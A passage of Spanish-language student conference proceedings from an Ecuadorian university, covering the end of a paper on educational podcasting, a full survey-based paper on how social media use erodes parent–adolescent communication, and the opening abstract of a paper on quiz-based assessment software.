Otra pregunta sería: ¿Cómo funciona el podcasting? El podcaster graba y edita el podcast, con el uso de un micrófono y un editor de sonido, lo guarda como archivo MP3 o WAB. Luego sube este archivo a un sitio web reservado para los podcasts junto con un archivo de XML que describe la dirección donde se ubica el podcast, quién es el autor y cómo se llama el archivo (Laaser, Jaskilioff y Rodríguez Becker, 2010).

Trabaja como un medio didáctico basado en un archivo sonoro que ha sido creado a partir de un proceso de planificación didáctica, donde hay que tomar en cuenta lo siguiente: Educando-educador, donde el primero es el productor del material y el segundo es el receptor de los contenidos. Los Objetivos, para darle sentido al material, se trata de la finalidad del mismo, para qué serán producidos. Los Contenidos, donde se eligen los objetos de aprendizajes de acuerdo a los objetivos del material, para desarrollarlo se hace uso del guion literario. La Metodología, como el cómo deberá emplearse el material sonoro.

Los Recursos, para poder reproducir un podcast es necesario tener en cuenta los recursos que se necesitarán. Tiempo y lugar, hay que tener idea de cuándo y dónde sugerir su uso (Ortega Barba, 2010). Al pasar al proceso formal de producción debemos atender a cuatro etapas: preproducción (incluye al diagnóstico y a la planeación), producción (contempla los recursos relacionado con hardware y software), post producción (guion técnico pues de éste dependerá el trabajo de montaje) y publicación (suscribirse a un sitio en el cual poder subir el archivo de audio).

Por otro lado, la empresa InboundCycle, empresa dedicada en el ámbito del inbound marketing, expresa que el podcast es una estrategia de mercadeo de contenidos, que permite manejar contenidos sencillos y económicos, está de moda, fácil de compartir y ofrece ventajas competitivas (<https://www.inboundcycle.com/diccionario-marketing-online/podcast>).

Una última pregunta sería: ¿Cómo elaborar un podcast? Primero: Grabar el audio (voz o música o ambos) utilizando un programa de audio; por ejemplo, Audacity (sencillo de manejar, libre y multiplataforma), ipodder, jpodder, entre otros. Segundo: Este audio se exporta y se edita la etiqueta ID3 como archivo mp3. Tercero: Con el programa Easypodcast creamos el archivo RSS. Cuarto: Este archivo RSS modificado en los archivos mp3 se suben a un servidor Web; por ejemplo, <http://es.geocities.yahoo.com>, <http://www.archive.org>, que son gratuitos. Quinto: Se publica el archivo RSS (XML) en un Weblogs o en la página personal de quien lo hizo (Podcast educativo, 2007). Al hacer un podcast es importante tomar en cuenta el ancho de banda

y los derechos de autor. Además, la codificación recomendada es: si es sólo voz o sólo música, es decir mono de 16 a 64kbps y estéreo (la combinación de los dos: música y voz) de 64 a 128kbps.

1. MATERIALES Y METODOS

En el proceso de búsqueda y recolección de material teórico en el cual se basa el tema se usaron los métodos investigativos:

Método Análisis - Síntesis: Este método fue tomado para el desarrollo del contexto debido a que se refieren a dos actividades complementarias en el estudio de realidades complejas.

Método inducción - deducción: Este método es utilizado para el desarrollo de esta ponencia debido a que el mismo es un procedimiento de inferencia que se basa en la lógica para emitir su razonamiento.

2. RESULTADOS Y DISCUSIÓN.

El análisis se hizo en base a una encuesta realizada en la Universidad Estatal del Sur de Manabí en el primer nivel de la carrera de administración de empresas.

Finalmente, al analizar la forma como los docentes pueden hacer uso de los podcast en el proceso de enseñanza que desarrolla con sus estudiantes, se puede decir que el uso del podcast en ese proceso permite al docente desarrollo un proceso de gestión didáctico orientado al trabajo autónomo y colaborativo por parte del estudiante, para eso requiere de tener el conocimiento teórico y práctico adecuado, planear la acción pedagógica y organizar el aprendizaje que busca en los estudiantes; también lo lleva a desarrollar competencia digital que exige la nueva sociedad del conocimiento para desenvolverse con las TIC.

El uso del podcast ha transformado el mundo de las comunicaciones, y el hecho educativo es comunicacional, entonces los docentes están obligados a participar activamente en ese mundo, de mantenerse conectado y manejar las estrategias de contenidos abiertos, porque la era de la comunicación digital crece en tecnología e innovación en una sociedad que cada vez se complejiza más y el dominio de las aplicaciones y las redes sociales es un hecho.

3. CONCLUSIÓN

La transformación social, económica, educativa y política ha influenciado en el desarrollo exponencial de las tecnologías de la información y la comunicación debido a que, en los actuales momentos en el mercado, en las tiendas, en los bares, dentro del salón de clase y fuera del salón

de clase, se utiliza las herramientas tecnológicas como acompañamiento principal del ser humano para poder ejecutar las acciones y las actividades del diario vivir con el objetivo de investigar, publicar o compartir asuntos de gestión administrativas con la finalidad de llegar a un aprendizaje.

En la actualidad los establecimientos académicos utilizan plataformas en las cuales los alumnos pueden recibir clases de manera virtual, esto ayuda en el desarrollo del estudiante, dado que se implementan nuevas tecnologías en la cuales denotamos un avance tecnológico. en las aulas virtuales se implementan técnicas de enseñanzas diferentes a las que se tienen en cuenta en las clases presenciales, dado que estas técnicas son diferentes, vemos un claro avance en el área educativa que se esfuerza por evolucionar en una era en donde lo que era útil en el día de hoy en una semana ya no lo es. Las plataformas conocidas como aulas virtuales son en donde se da a conocer un espacio relacionado directamente con el aprendizaje y la enseñanza, por otra parte, es accesible para todos los dispositivos para tener una mejor fluidez y una conexión más estable entre docente y estudiante. Como complemento las aulas virtuales son un claro ejemplo de cómo los cambios del siglo XXI afectan al sistema educativo y social en donde la persona que se informa y comprende las TIC logra actuar de una manera efectiva en el advenimiento de la digitalización.

En base a los datos dados, podemos concluir que tenemos cierto porcentaje de docente que logra implementar estas nuevas tecnologías, que son más fáciles de manejar las cuales apoyan al aprendizaje. Sin embargo, en las ofertas de estos productos se ofrece un valor agregado de comodidades rápidas y fiables, que los principales favorecidos son los estudiantes y los docentes, ¿Por qué? porque al docente les facilita el diseño de estrategias didáctica, y los estudiantes tienen varias alternativas para potenciar su aprendizaje significativo. Una de estas herramientas tiene que ver con la web 2.0 que presenta el podcast para llevar a cabo la administración curricular de forma semipresencial, presencial y a distancia. finalmente, los aspectos que nos llevó a desarrollar este escrito fueron de como las personas pueden hacer uso de los podcasts en él, proceso de enseñanza.

REFERENCIAS BIBLIOGRÁFICAS:

Adell, J. (1997). Tendencias en educación en la sociedad de las tecnologías de la información.

[Artículo en línea]. Recuperado de: <http://www.ull.es/departamentos/didinv/tecnologia>

- educativa/doc-adell2.html COM-EU (2000a). Designing tomorrow's education - Promoting innovation with [Consulta: 2019, Enero 5].
- Chacón, C. T. y Pérez, C. J. (2011). El podcast como innovación en la enseñanza del Inglés como lengua extranjera. Revista de Medios y Educación. Nº 39. Universidad de Los Andes. Venezuela.
- Coad, P. y Jill, N. (1993). Object-oriented Programming. Object-oriented Programming Vol 1.
- Ebner, M.; Fickert, L.; Nagler, W.; Stöckler P. y Ebner, C. (2007). Lifelong Learning and Doctoral Studies - Facilitation with Podcasting Techniques. In Computers in Education, Proceeding Vol. IV, 30th MIPRO Conference.
- Gámiz Sánchez, V. M. (2009). Entornos virtuales para la formación práctica de estudiantes de educación: Implementación, experimentación y evaluación de la plataforma Aulaweb. Tesis Doctoral. Universidad de Granada.
- Institute of Electrical and Electronics Engineers, Inc. (IEEE, 2001). Estándar para Metadatos de Objetos Educativos. Recuperado de: https://gist.det.uvigo.es/~lanido/LOMes/LOMv1_0_Spanish.pdf.
- Laaser, W.; Jaskilioff, S. L. y Rodríguez Becker, L. C. (2010). Podcasting: ¿Un nuevo medio para la Educación a Distancia? RED - Revista de Educación a Distancia. Número 23. Recuperado de: <http://www.um.es/ead/red/23/>
- Ortega Barba, C. F. (2010). El podcast como material didáctico: Proceso de producción. Saberes y Que Haceres y el Pedagogo Revista Panamericana de Pedagogía No.16 (2010).
- Podcast educativo (2012). Ventajas de los podcasts. [Blog en línea]. Recuperado de: <https://podcastedu.wordpress.com/>
- Pujota, J. (2016). Entorno virtual del aprendizaje (EVA). [Presentación en línea]. Recuperado de <https://es.slideshare.net/JessyPujota1/entorno-virtual-del-aprendizaje-eva> [Consulta: 2018, Diciembre 23].
- Santiago, R (2015). Podcasting en Educación: nuevas tendencias en la distribución de contenidos multimedia de aprendizaje a través de internet. Recuperado de: <https://www.theflippedclassroom.es/el-podcast-un-recurso-didactico-por-descubrir/>.
- Sigüenza Orellana, J. P. (2016). La gestión de tutoría con el apoyo de la herramienta Web 2.0: podcast, en las asignaturas de las ciencias Sociales en la educación superior.

Solano Fernández, I. M. y Amat Muñoz, L. M. (s/f). Integración de podcast en contextos de enseñanza: Criterios para el diseño de actividades. Recuperado de: https://digitum.um.es/jspui/bitstream/10201/14623/1/Edutec_08_SA.pdf

Stanley, G. (2007a). ICT in ELT (Information and Communications Technology in English Language Teaching. Recuperado de [http:// www.ictinelt.com/2007/05/web-20-andlanguage-learning-by-graham. html](http://www.ictinelt.com/2007/05/web-20-andlanguage-learning-by-graham.html).

Talandis, J. Jr. (2008). The Web 2.0 in the classroom: An introduction. Recuperado de [http://web20intheeltclassroom. blogspot.com/](http://web20intheeltclassroom.blogspot.com/)

Weley, D. (2000). Connecting Learning Objects tu Instructional Desing Theory: A definition, a Methephor and Taxonomy. Wikipedia. Recuperado de: www.biblioweb.dgsa.unam.mx.
Wikipedia. Recuperado de: <http://www.wikipedia.com>

BIOGRAFÍA DEL AUTOR

Rayan Edén Vera Martínez, Estudiante de primer semestre de la carrera de Administración de Empresas en la Universidad Estatal del Sur de Manabí, autor de artículo científico con el nombre de “USO DE LOS PODCAST EN LA EDUCACIÓN SUPERIOR” presentado en el VI Congreso Internacional de las Ingenierías con sede en Ecuador-Manabí-Jipijapa-Universidad Estatal del Sur de Manabí.

Joel Xavier Pilay León, Estudiante de primer semestre de la carrera de Administración de Empresas en la Universidad Estatal del Sur de Manabí, autor de artículo científico con el nombre de “USO DE LOS PODCAST EN LA EDUCACIÓN SUPERIOR” presentado en el VI Congreso Internacional de las Ingenierías con sede en Ecuador-Manabí-Jipijapa-Universidad Estatal del Sur de Manabí.

Melissa Nicole Barreto Baque, Estudiante de primer semestre de la carrera de Administración de Empresas en la Universidad Estatal del Sur de Manabí, autor de artículo científico con el nombre de “USO DE LOS PODCAST EN LA EDUCACIÓN SUPERIOR” presentado en el VI Congreso Internacional de las Ingenierías con sede en Ecuador-Manabí-Jipijapa-Universidad Estatal del Sur de Manabí.

Ángel Fortunato Bernal Álava, Profesor en Educación Primaria, Licenciado en Ciencias de la Educación, Diploma en Innovaciones Educativas, Magister en Gerencia Educativa y Doctorante de la Universidad Católica Andrés Bello de Caracas; docente del magisterio fiscal 16 años de servicios, docente de instituto técnico superior de transporte, Secap- Manabí, universidad estatal de Guayaquil, Universidad Técnica de Manabí, Docente habilitado por el Sistema Nacional de Nivelación y Admisión SNNA, actualmente docente de la Universidad Estatal del Sur de Manabí en la Facultad de Ciencias Económicas, Carrera de Administración Empresas, y en la Facultad de Ciencias Naturales y de la agricultura, Carrera de Agropecuaria además encargado del departamento de convenios Internacionales e Investigador del proyecto de Investigación “Indicadores de sostenibilidad para la gestión ambiental, enfocada al turismo. Fase I y II. Referentes teóricos metodológicos”.

PÉRDIDA DE COMUNICACIÓN EN ADOLESCENTES Y PADRES POR EL USO INCORRECTO DE LAS REDES SOCIALES

Ponce Marcillo Josue Alejandro,

Solis Baque Jordy Rene,

Madrid Castro Axel Giuliano,

Baque Hidalgo Erick Fabián,

Ing. Castillo Merino Miriam Adriana. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Josuepm1999@gmail.com

RESUMEN

En el presente artículo de investigación se procuró aportar significativamente a los ya existentes bancos de información en sitios webs de internet en el tema de la pérdida de comunicación entre padres y adolescentes, con énfasis al uso incorrecto de las redes sociales, el proceso de investigación y análisis permitió obtener información clave en el tema de este artículo, dicha información se proyectó de manera clara y objetiva para su correcto entendimiento, ubicando ejemplos estadísticos de estudios realizados previamente por otros medios de investigación tanto a nivel nacional en Ecuador como fuera del país, basado en aquello se llevó a cabo el método empírico de las encuestas para así generar un pequeño estudio de material propio, y así analizar el impacto real del problema en nuestro medio, La metodología utilizada fue de nivel teórico, empírico y estadístico matemático. Los principales resultados evidenciaron un índice considerable de uso de redes sociales durante periodos cortos - largos, gracias a los diferentes métodos que se utilizaron en esta investigación se dedujo que uno de los principales problemas en la comunicación entre padres y adolescentes se da por el exceso de tiempo que se dedica a redes sociales y no a la comunicación familiar, Se concluye que el enfoque principal del artículo tiene una proyección viable con ejemplos vivenciales aplicados a través de los resultados, dando a conocer algunos de los posibles errores que comenten tanto padres como adolescentes en el hogar al usar de manera incorrecta las redes sociales y no limitarse en el tiempo de uso de las mismas.

PALABRAS CLAVE: análisis, comunicación, investigación, redes sociales.

ABSTRACT

In this research article we tried to contribute significantly to the existing information banks on internet websites on the subject of loss of communication between parents and adolescents, with emphasis on the incorrect use of social networks, the research process and analysis allowed to obtain key information in the subject of this article, this information was projected in a clear and objective way for its correct understanding, locating statistical examples of studies previously conducted by other means of research both nationally in Ecuador and outside the country, based in that, the empirical method of the surveys was carried out in order to generate a small study of their own material, and thus analyze the real impact of the problem in our environment. The methodology used was theoretical, empirical and mathematical statistical. The main results showed a considerable index of use of social networks during short - long periods, thanks to the different methods that were used in this investigation it was deduced that one of the main problems in the communication between parents and adolescents is due to the excess of time dedicated to social networks and not to family communication, It is concluded that the main focus of the article has a viable projection with living examples applied through the results, revealing some of the possible errors that both parents and adolescents comment on in the home when using social networks incorrectly and not limited in the time of use of them.

KEY WORDS: analysis, communication, research, social networks.

1. INTRODUCCIÓN

En la actualidad las redes sociales son mucho más que una simple herramienta de comunicación vía web, ya que han abierto las puertas a una conectividad globalmente interconectada que abarca desde la esencia de comunicarse, pasando por complejos sistemas de conversación que incluyen elementos de contenido multimedia, hasta un modelo completo de negocios y marketing digital. Las redes sociales nos dan la libertad de tener comunicación con nuestros seres queridos, donde se quiera y cuando se quiera. Sin embargo, esta libertad tiene su costo; a menudo las redes amenazan y dañan nuestras relaciones personales.

La búsqueda de los "me gusta" y la validación social lleva a la gente a compartir cantidades cada vez mayores de información privada en las plataformas de medios sociales, poniendo así en riesgo no sólo a sí mismos, sino también a sus amigos, familiares y colegas.

Otro problema de las redes sociales es sin duda, la adicción que en la actualidad se tiene, ya que existe un constante deterioro de las relaciones personales en nuestro entorno, principalmente con la familia, porque tendemos a comunicarnos cada vez más por la computadora y el celular y no de manera personal.

Las consecuencias que genera la falta de comunicación verbal entre familiares es un daño irreparable, el hecho de no tener un contacto visual con quienes estamos entablando una conversación, independientemente el tipo o tema que se está desarrollando, ya han quedado solo en el recuerdo.

El presente proyecto de investigación pretende dar a conocer la problemática actual que día a día va en aumento en cuanto a la pérdida de comunicación entre adolescentes y padres, mediante el uso incorrecto de las redes sociales, la investigación realizada comprende las diversas problemáticas que se generan en el ámbito familiar por el mal uso de redes sociales.

DESARROLLO

En los últimos años las redes sociales han presentado un crecimiento significativo en cuanto a popularidad, funcionalidad y facilidad de acceso, son cada vez más los usuarios y por lo tanto, cada vez más los inconvenientes. Según un estudio, 91% de los ecuatorianos utiliza redes sociales en su teléfono inteligente, a nivel urbano se registra un 92.4% de los ciudadanos accediendo a redes sociales en sus dispositivos móviles, mientras que la zona rural se registra el 82.88%, los datos también evidencian que las personas entre 15 y 29 años son las que más utilizan las redes sociales en sus teléfonos, con un 94,1%; seguido de los jóvenes menores de 15 años que lo hacen en un 93%. Como se cita en (Ministerio de Telecomunicaciones y Sociedad de la Información, 2019). Si bien es cierto que invertir demasiadas horas en redes sociales puede ser un factor influyente de manera negativa, no quiere decir que siempre así lo sea, ya que todo dependerá de la forma en que sea invertido el tiempo.

En la actualidad según “ekosnegocios” en Ecuador la cantidad de usuarios que usan internet para redes sociales tiene un promedio de 13,5 millones, siendo Facebook la red social más utilizada con un aproximado de 12 millones de usuarios en Ecuador, 3,8 millones en Instagram, 800 mil en Twitter, 3,8 millones en LinkedIn, 6,1 millones en WhatsApp, 1 millón en

Messenger; esto da como evidencia que las redes sociales están muy presentes en la vida de los Ecuatorianos (Ekos, 2018).

Definiciones

Red social

Una red social es una estructura social compuesta por un conjunto de usuarios (tales como individuos u organizaciones) que están relacionados de acuerdo a algún criterio (relación profesional, amistad, parentesco, etc.). (Wikipedia, 2019)

Redes sociales

Las redes sociales más conocidas y utilizadas en Latinoamérica son:

- Facebook
- WhatsApp
- Instagram
- Youtube
- LinkedIn

Redes sociales a nivel mundial

Según IAB Spain se proyecta la siguiente tabla ilustrativa de usuarios de redes sociales a nivel mundial hasta el año 2018.

<i>Red social</i>	<i>Usuarios</i>
<i>Facebook</i>	2.070 millones
<i>WhatsApp</i>	1.250 millones
<i>Youtube</i>	1.500 millones
<i>QQ</i>	1.000 millones
<i>Instagram</i>	800 millones
<i>LinkedIn</i>	530 millones

<i>Twitter</i>	330 millones
<i>Snapchat</i>	178 millones
<i>Pinterest</i>	175 millones

Como se puede observar la cantidad de usuarios de Redes sociales es un número sumamente grande, la cantidad de usuarios comprenden a personas de todas las edades.

El estudio también revela una frecuencia de uso: 58 minutos diarios es el promedio de tiempo al día que se dedica a una Red Social. En cuanto a las horas diarias, WhatsApp (1:33) y Spotify (1:27) lideran en frecuencia, seguida de Youtube (1:10). Las mujeres y los más jóvenes (de 16 a 30 años) son los que más tiempo dedican a las Redes Sociales (IAB Spain, 2018).

¿Cómo afecta el uso prolongado de las redes sociales las relaciones familiares?

La falta de control sobre ellos nos lleva a desconocer el rendimiento estudiantil, lo que gira en su entorno y a no conocer sus amistades, con quiénes se relacionan, lo que hacen y hacia dónde van, no estamos vigilándoles cómo se debe, lo cual desencadena a posterior otro tipo de problemas sociales.

Tampoco se puede dejar de mencionar el efecto que estas redes provocan en las actividades laborales, nos hacen perder nuestro tiempo, lo que provoca bajo rendimiento y poca productividad. Nunca antes se habían visto llamados de atención y recomendaciones por el excesivo uso del teléfono en nuestras oficinas y centros de trabajo.

Nos queda claro entonces que el mal uso de estas redes está llevando a la sociedad a una calle sin salida, con pocas alternativas de recuperar el tiempo y relaciones perdidas.

La compulsión o el uso excesivo de las redes, puede radicar en un patrón dañino, que desemboca en interferencias en el tiempo familiar y tiempo de estudio; lo que provoca obstrucción y división en la familia, porque preferimos comunicarnos con el que está afuera y lejos, y no con los que viven con nosotros.

En este escenario, las redes pueden ser un enemigo del cotidiano compartir cara a cara entre padres, hijos y hermanos. El mismo santo padre, Benedicto XVI lo subrayó: “Es importante

recordar siempre que el contacto virtual no puede y no debe sustituir el contacto humano directo, en todos los aspectos de nuestra vida”.

Concluyendo, no basta con identificar el gran problema, el deterioro de las relaciones personales en nuestro entorno, principalmente la familia a causa del mal uso de las redes sociales, debemos también buscar la solución.

Será entonces este el momento justo para hacer el llamado y reflexionar sobre lo que estamos haciendo con nuestras vidas, pero sobre todo lo que estamos haciendo a los seres que más amamos (Medina Rosales, 2017).

¿Los padres tienen la culpa o los jóvenes?

Es una pregunta bastante difícil de responder, la pérdida de comunicación entre adolescentes y padres por el uso incorrecto de las redes sociales suele ser culpa de los jóvenes y en otros casos, de los padres;

- Es culpa de los jóvenes al no reflexionar sobre un hábito que se puede convertir en algo adictivo al punto de compartir cada vez menos tiempo con sus familiares.
- Es culpa de los padres al no imponer y hacer respetar las reglas en el hogar, al permitir que sus hijos estando en la mesa para la comida usen su smartphone, al no limitarles el tiempo que les dedican a las redes sociales, al no darles la atención que muchos de ellos necesitan o requieren para no entrar de lleno en dicho hábito que puede convertirse en una adicción.

En la actualidad realmente se les da mucha libertad a los jóvenes en cuanto al uso de dispositivos electrónicos, no se les limita el tiempo en los mismos y tampoco se les da una formación para que ellos mismos se auto controlen.

¿Qué se puede hacer para no perder la comunicación?

Es difícil poder hacer algo significativo cuando el joven tiene una edad determinada, en muchos casos los jóvenes tienden a tomar de mala manera los llamados de atención, para poder hacer algo de la manera correcta hay que tomar en cuenta la edad del joven, su comportamiento, el tiempo dedicado a las redes sociales, la importancia que tiene para él la familia, el respeto hacia los padres, son factores fundamentales, ya que existen muchos jóvenes que entran en un estado

de rebeldía cuando se les aplica un orden riguroso de control, incluso muchos optan por el suicidio y la depresión al limitarles en el uso de los dispositivos y las redes sociales.

Mientras el uso de redes sociales no sea un problema aún, puede implementarse un control en el uso de las mismas, dependerá de que tan aferrado a las mismas se encuentre el joven. Pero no sólo nos debemos fijar en los jóvenes, sino también en si los padres están haciendo algo mal, no se le puede pedir a un hijo que limite su uso de redes sociales, cuando el padre de familia le dedica mucho tiempo a las mismas.

El problema no siempre proviene del joven sino también del ambiente que le rodea, realmente el tratar el tema de la comunicación entre adolescentes y padres es complejo, hay definir bien cual es problema y determinar quiénes están implicados en el mismo, e intentar resolverlo paso a paso y no de inmediato.

La formación que han tenido los adolescentes a lo largo de sus vidas son un aspecto fundamental para que el uso de las redes sociales sea un hábito adictivo en ellos.

The British School of Seville nos brinda 10 consejos en el uso de redes sociales para jóvenes y sus familias (Seville, 2019):

1. Hablar habitualmente con los hijos sobre las cosas que hacen en Internet, qué tipo de temas les interesan, qué redes usan y qué hacen en ellas.
2. Hacerles recomendaciones de usos interesantes de las mismas, como seguir a páginas educativas, personajes que admiran, grupos de personas que les atraen los mismos pasatiempos que a ellos, etc.
3. Concienciar sobre la importancia de la privacidad, que no se deben facilitar datos innecesariamente que puedan informar a desconocidos de su localización, o de cuándo no hay nadie en casa. Nunca se sabe quién está al otro lado.
4. Enseñar a diferenciar un amigo real y un 'amigo' virtual. Las cosas que se dicen a unos, no se las decimos a esos otros que no conocemos, que no sabemos si son quienes dicen ser.
5. Es importante hacerles reflexionar sobre el futuro, en que cada cosa que publican puede quedarse dando vueltas por la red durante mucho tiempo y en si se sintieran orgullosos

de cualquiera pueda ver esas fotos cuando sean adultos, bien sean sus compañeros de trabajo, su futura pareja o sus hijos.

6. Es fundamental que la tecnología, que las redes sociales, no interfieran con la vida familiar, con los momentos que debemos estar juntos, charlando, conociendo qué tal nos ha ido el día a los demás, así que se debe limitar su uso durante esos momentos para poder escuchar de verdad a los que están a nuestro alrededor.
7. Si son niños pequeños, que empiezan a utilizar la tecnología, es bueno crear espacios comunes, donde los adultos puedan sentarse a su lado y enseñarles y ver qué hacen y ayudarlos, si lo necesitan.
8. Enseñarles a no creer todo lo que leen en Internet, a verificar la información antes de usarla o compartirla.
9. Ayudarles a configurar la privacidad y seguridad de todas las aplicaciones que usen en las que se compartan datos personales como nombre, teléfono, fecha de nacimiento o email y quién puede o no puede ver esas publicaciones.
10. Debemos estar siempre alerta ante comportamientos extraños. Si lo vemos necesario, debemos instalar herramientas de control parental.

2. MATERIALES Y MÉTODOS

Se utilizaron métodos de la investigación científica tales como:

Del nivel teórico:

- **Análisis – síntesis:** se utilizó para determinar las principales problemáticas en el uso incorrecto de las redes sociales y que afectan la comunicación entre padres y adolescentes.
- **Histórico – lógico:** se usó en el desarrollo de la investigación con énfasis en la búsqueda de los antecedentes de uso de redes sociales en Ecuador.
- **Inducción – deducción:** se empleó en toda la investigación, en particular en las respuestas a las preguntas planteadas.

Del nivel Empírico:

- **Encuestas no probabilísticas:** Se utilizó para analizar, determinar y conocer los posibles factores que generan un uso incorrecto de redes sociales.
- **Revisión bibliográfica:** Se utilizó en la fase de recopilación de la información del tema para la elaboración de la investigación, mediante libros, revistas de carácter científico, internet, entre otros.

Del nivel Estadístico – Matemático

Se utilizó la estadística descriptiva y la estadística inferencial, para el análisis y la tabulación de los datos generados por la aplicación de los métodos empíricos. Se utilizó el cálculo porcentual como procedimiento matemático.

3. RESULTADOS Y DISCUSIÓN

Encuesta dirigida a estudiantes del 3er nivel de la carrera Tecnologías de la Información en la Universidad Estatal del sur de Manabí tomando como muestra representativa para este análisis una cantidad de 55 encuestados.

6) ¿Cuánto tiempo le dedica usted a las redes sociales?

ALTERNATIVA	FRECUENCIA	%
1 a 2 horas	21	38
2 a 4 horas	16	29

4 a 6 horas	13	24
6 o más horas	5	9
TOTAL	55	100

Fuente: Estudiantes del tercer nivel de la Carreta Tecnologías de la Información, marzo 2019

Elaborado por: Josué Ponce, Jordy Solís, Axel Madrid, Erick Baque

Análisis de resultados

Mediante la pregunta planteada a los estudiantes encuestados se denotó que: El 38% dedica 1 a 2 horas del día a las redes sociales, el 29% 2 a 4 horas, 24 % 4 a 6 horas y el 9% más de 6 horas, lo cual significa que tenemos niveles considerablemente altos en el uso de redes sociales, fortaleciendo la base principal de este proyecto de investigación alegando que los adolescentes dedican gran parte de su día a las redes sociales por lo cual pierden o disminuyen su contacto con los familiares.

7) ¿Cuánto tiempo dedica usted a la comunicación familiar?

ALTERNATIVA	FRECUENCIA	%
1 a 2 horas	49	89
2 a 4 horas	6	11
4 a 6 horas	0	0
6 o más horas	0	0
TOTAL	55	100

Fuente: Estudiantes del tercer nivel de la Carreta Tecnologías de la Información, marzo 2019

Elaborado por: Josue Ponce, Jordy Solis, Axel Madrid, Erick Baque

Análisis de resultados

Mediante la pregunta planteada a los estudiantes encuestados se denotó que: El 89% dedica sólo 1 a 2 horas al contacto familiar, mientras que sólo el 11% de ellos dedican 2 a 4 horas de su tiempo a la comunicación con sus familiares o padres, como observarse en estos resultados los niveles de comunicación entre adolescentes y familiares es sumamente bajo ya que el promedio en los encuestados en su porcentaje más alto equivale de 1 a 2 horas en comparación con el tiempo dedicado a las redes sociales.

8) Elija la red social que comúnmente más utiliza

ALTERNATIVA	FRECUENCIA	%
Facebook	11	20
WhatsApp	39	71
Instagram	2	4
YouTube	0	0
TOTAL	55	100

Fuente: Estudiantes del tercer nivel de la Carreta Tecnologías de la Información, marzo 2019

Elaborado por: Josué Ponce, Jordy Solís, Axel Madrid, Erick Baque

Análisis de resultados

Mediante la pregunta planteada a los estudiantes encuestados se denotó que: El 20% hacen uso de Facebook como red social usada con más frecuencia, 71% siendo el porcentaje con índice más alto indica que WhatsApp es la red social con más frecuencia de uso entre los encuestados, finalmente tenemos a Instagram con un 4%, como se puede observar según los resultados el mayor índice porcentual lo tiene WhatsApp, como deducción se puede decir que la mayoría de los jóvenes hacen más uso de WhatsApp para comunicarse.

4. CONCLUSIONES

Una vez realizada la investigación se llegó a las siguientes conclusiones.

- Desde el punto de vista de Padres es necesario tener una comunicación más cercana con los hijos, para de esa manera no perder detalles que pueden terminar teniendo como consecuencia la pérdida de comunicación parcial o permanente, desde el punto de vista del Adolescente autolimitarse con el uso de redes sociales puede ser una buena práctica para no ser esclavos de las mismas con el pasar del tiempo.
- Las encuestas realizadas demostraron que los adolescentes dedican más tiempo a las redes sociales que a la comunicación familiar, lo cual puede ser un factor importante en la pérdida de comunicación parcial y como resultado problemas de otra índole entre los adolescentes y los padres, tales como rebeldía, desobediencia, aislamiento, entre otros.
- Si los padres de adolescentes les dan una formación correcta a sus hijos y les brindan información sobre el buen uso y correcto manejo de las redes sociales con respectivas limitaciones en el tiempo de uso, es posible que exista una mejor comunicación entre los mismos.

REFERENCIAS BIBLIOGRÁFICAS

- Ekos, R. (12 de agosto de 2018). *¿Cómo están las redes sociales en Ecuador?* Obtenido de <https://www.ekosnegocios.com/negocios/verArticuloContenido.aspx?idArt=10877>
- IAB Spain, E. (2018). *Estudio Anual de Redes Sociales 2018*. Obtenido de <https://universoabierto.org/2018/06/08/estudio-anual-de-redes-sociales-2018/>

Medina Rosales, D. K. (6 de abril de 2017). *Redes sociales y su impacto en la familia*.

Obtenido de <http://www.latribuna.hn/2017/04/06/redes-sociales-impacto-la-familia/>

Ministerio de Telecomunicaciones y Sociedad de la Información. (16 de marzo de 2019). *91%*

de ecuatorianos utiliza las redes sociales en su teléfono inteligente. Obtenido de <https://www.telecomunicaciones.gob.ec/91-de-ecuatorianos-utiliza-las-redes-sociales-en-su-telefono-inteligente/>

Seville, T. B. (16 de marzo de 2019). *10 consejos para un buen uso de las redes sociales para*

jóvenes y sus familias. Obtenido de <https://colegiobs.eu/10-consejos-buen-uso-redes-sociales-jovenes-familias/>

Wikipedia, c. d. (16 de marzo de 2019). *Red social*. Obtenido de

https://es.wikipedia.org/wiki/Red_social

BIOGRAFÍA DEL AUTOR

Ponce Marcillo Josué Alejandro, Estudiante de la Carrera de Ingeniería en Tecnologías de la información.

Solís Baque Jordy Rene, Estudiante de la Carrera de Ingeniería en Tecnologías de la información.

Madrid Castro Axel Giuliano, Estudiante de la Carrera de Ingeniería en Tecnologías de la información.

Baque Hidalgo Erick Fabián, Estudiante de la Carrera de Ingeniería en Tecnologías de la información.

Castillo Merino Miriam Adriana, Docente de la Carrera de Ingeniería en Tecnologías de la Información.

SOFTWARE DE EVALUACIÓN DE CONOCIMIENTOS A TRAVÉS DE CUESTIONARIOS

Estefanía Magdalena Bailón Cedeño,

Jenny Andreina Lino Reyes,

López Arévalo Lidia Alexandra,

Jennifer Sonia Orellana Muñiz,

Ariana Mercedes Vásquez Pincay

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ,

estefania_bace18@hotmail.com,

jenny.junior15@gmail.com,

alexandra.lopez.arevalo@hotmail.com

sonia-15mt@hotmail.com

arivasquez1999@hotmail.com

RESUMEN

Actualmente con los avances tecnológicos, las nuevas estrategias para la educación se comprenden con la utilización de herramientas tecnológicas en el desarrollo de las clases, para que cumplan un papel dinámico que contribuya a la activación del aprendizaje de las asignaturas dictadas durante un periodo académico. Muestra cómo puede apreciarse y reforzarse con engrandecimiento a conocimientos adquiridos para que los estudiantes desenvuelvan su capacidad de discernimiento. Proporcionando una interacción demostrativa que se establece entre el docente y estudiantes, se busca crear ambientes de aprendizaje que facilite oportunidades a los alumnos para que ellos edifiquen nociones, desarrollen habilidades de pensamiento, valores y actitudes. Un objetivo es proporcionar a los estudiantes una manera distinta de instrucción con los sucesos tecnológicos, desarrollando así el programa que ayude a los profesionales en formación no solo distinguir una sola manera de aprendizaje sino ver otras perspectivas de perfeccionamiento académico, para interactuar con la tecnología, se abre un mundo de oportunidades para aquellos individuos que hacen uso de ésta, una de ellas es que brinda la posibilidad de comunicación entre persona y máquina para fines muy distintos. Para profundizar más esta investigación se utilizó diferentes metodologías como son métodos teóricos: histórico-lógico; análisis síntesis; métodos empíricos; encuesta; bibliográficos. Lo teórico y lo práctico son dos cosas fundamentales que van de la mano dado que en casos de personas tienen bastante de conocimiento teórico de alguna cosa en específico se le facilitara

realizar lo práctico, pero si no se posee mucho conocimiento teórico se tendrá dificultades en su desempeño académico.

PALABRAS CLAVE: discernimiento, edificación, habilidades, programa.

